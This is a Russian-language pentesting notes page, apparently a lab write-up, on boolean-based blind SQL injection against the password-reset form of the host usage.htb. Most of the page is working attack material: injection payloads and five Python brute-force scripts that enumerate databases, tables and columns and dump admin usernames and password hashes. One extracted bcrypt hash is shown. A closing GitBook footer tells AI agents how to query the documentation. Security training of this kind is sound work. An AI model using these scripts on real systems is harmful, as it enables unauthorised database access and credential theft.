> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# SQL-инъекция с условными ответами

## SQLi:

Мы обнаруживаем панель сброса пароля, уязвимую к SQL-инъекции

<figure><img src="/files/34b927a363e6f2d7a3d9cdd9d65738bc266a3f6e" alt=""><figcaption></figcaption></figure>

. Перехватывая запросы с помощью Burp Suite, мы получаем сообщение "*Мы отправили ваш пароль по электронной почте*".

<figure><img src="/files/4f1cf60591a437b09217b21deb02b6e3fb6d9ea5" alt=""><figcaption></figcaption></figure>

Когда мы выполняем базовую SQL-инъекцию, она срабатывает, и мы снова получаем то же сообщение об ошибке, что подтверждает, что инъекция работает. Базовая тестовая инъекция: `iojfeifif' or 1=1-- -`

<figure><img src="/files/5557395b8964ddc7446d91d5455830be841a7b91" alt="" width="563"><figcaption></figcaption></figure>

### Условные ответы SQLi:

> Хотя результаты SQL-запроса не возвращаются и сообщение об ошибке не появляется, приложение отображает на странице сообщение «Мы отправили ваш пароль по электронной почте», если запрос возвращает строки. Мы проверяем эту гипотезу, запуская условную инъекцию с использованием функции `substring` Чтобы извлечь первые буквы имени базы данных. Пример инъекции:

* Проверяем первую букву имени базы данных:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Проверяем вторую букву имени базы данных: `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/34a352dfb24f83699215ec81ea3649ef5c7bb5ec" alt=""><figcaption></figcaption></figure>

### Перебор имени базы данных:

Мы автоматизируем определение имени базы данных с помощью Python-скрипта, который отправляет определённые полезные нагрузки и записывает результаты, когда сервер отображает ответ «Мы отправили ваш пароль по электронной почте».

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Условные ответы SQLi
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
# Условные ответы SQLi
signal.signal(signal.SIGINT, def_handler)
# Условные ответы SQLi
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Извлеченные данные")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)
            # Показываем символ, который сейчас проверяется, в реальном времени
            p1.status(f"Проверка позиции {position}: {character}")
            # Проверяем конкретный ответ сервера, чтобы подтвердить правильный символ
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")
    p1.success("Брутфорс SQL-инъекции завершён")
    p2.success(f"Извлеченные данные: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/ffc3d49c7688340560043ee174ccc2560bf0bf39" alt="" width="440"><figcaption></figcaption></figure>

### Перебор баз данных:

Мы модифицируем полезную нагрузку, чтобы перечислить все базы данных на сервере. Мы используем `group_concat` от `information_schema.schemata` чтобы получить названия доступных баз данных.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Условные ответы SQLi
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
# Условные ответы SQLi
signal.signal(signal.SIGINT, def_handler)
# Условные ответы SQLi
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Извлеченные данные")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)
            # Показываем символ, который сейчас проверяется, в реальном времени
            p1.status(f"Проверка позиции {position}: {character}")
            # Проверяем конкретный ответ сервера, чтобы подтвердить правильный символ
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")
    p1.success("Брутфорс SQL-инъекции завершён")
    p2.success(f"Извлеченные данные: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/6dab2d008bfd41502eceb02630347cf9077a49d0" alt="" width="563"><figcaption></figcaption></figure>

### Перебор таблиц для базы данных `usage_blog`:

После нахождения `usage_blog` базы данных мы снова модифицируем полезную нагрузку, чтобы перечислить таблицы в этой базе данных. мы используем `group_concat` функцию, чтобы получить все имена таблиц из `usage_blog` .

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Условные ответы SQLi
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
# Условные ответы SQLi
signal.signal(signal.SIGINT, def_handler)
# Условные ответы SQLi
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Извлеченные данные")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)
            # Показываем символ, который сейчас проверяется, в реальном времени
            p1.status(f"Проверка позиции {position}: {character}")
            # Проверяем конкретный ответ сервера, чтобы подтвердить правильный символ
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")
    p1.success("Брутфорс SQL-инъекции завершён")
    p2.success(f"Извлеченные данные: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/ea382df2a09078e2c6a7d89ef971c1b0b679f277" alt=""><figcaption></figcaption></figure>

### Перебор столбцов для таблицы `admin_users`:

После того как таблица идентифицирована, мы выбираем таблицу `admin_users` чтобы перечислить её столбцы. мы снова используем функцию `group_concat` чтобы получить имена столбцов именно этой конкретной таблицы.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Условные ответы SQLi
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
# Условные ответы SQLi
signal.signal(signal.SIGINT, def_handler)
# Условные ответы SQLi
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Извлеченные данные")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)
            # Показываем символ, который сейчас проверяется, в реальном времени
            p1.status(f"Проверка позиции {position}: {character}")
            # Проверяем конкретный ответ сервера, чтобы подтвердить правильный символ
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")
    p1.success("Брутфорс SQL-инъекции завершён")
    p2.success(f"Извлеченные данные: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/47da74dd9828fee28454b4a78bde4b79f2c886f9" alt=""><figcaption></figcaption></figure>

### Отображение `username` и `пароль`:

Чтобы отобразить учетные данные и пароли пользователей в таблице `admin_users`, SQL-запрос будет изменён таким образом, чтобы объединить поля `username` и `пароль`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# Условные ответы SQLi
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
# Условные ответы SQLi
signal.signal(signal.SIGINT, def_handler)
# Условные ответы SQLi
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Извлеченные данные")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # Отправляем POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)
            # Показываем символ, который сейчас проверяется, в реальном времени
            p1.status(f"Проверка позиции {position}: {character}")
            # Проверяем конкретный ответ сервера, чтобы подтвердить правильный символ
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Если для этой позиции найден символ, переходим к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")
    p1.success("Брутфорс SQL-инъекции завершён")
    p2.success(f"Извлеченные данные: {data}")
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/105f6131ae9120eae3bd6a92aef46444c006b233" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
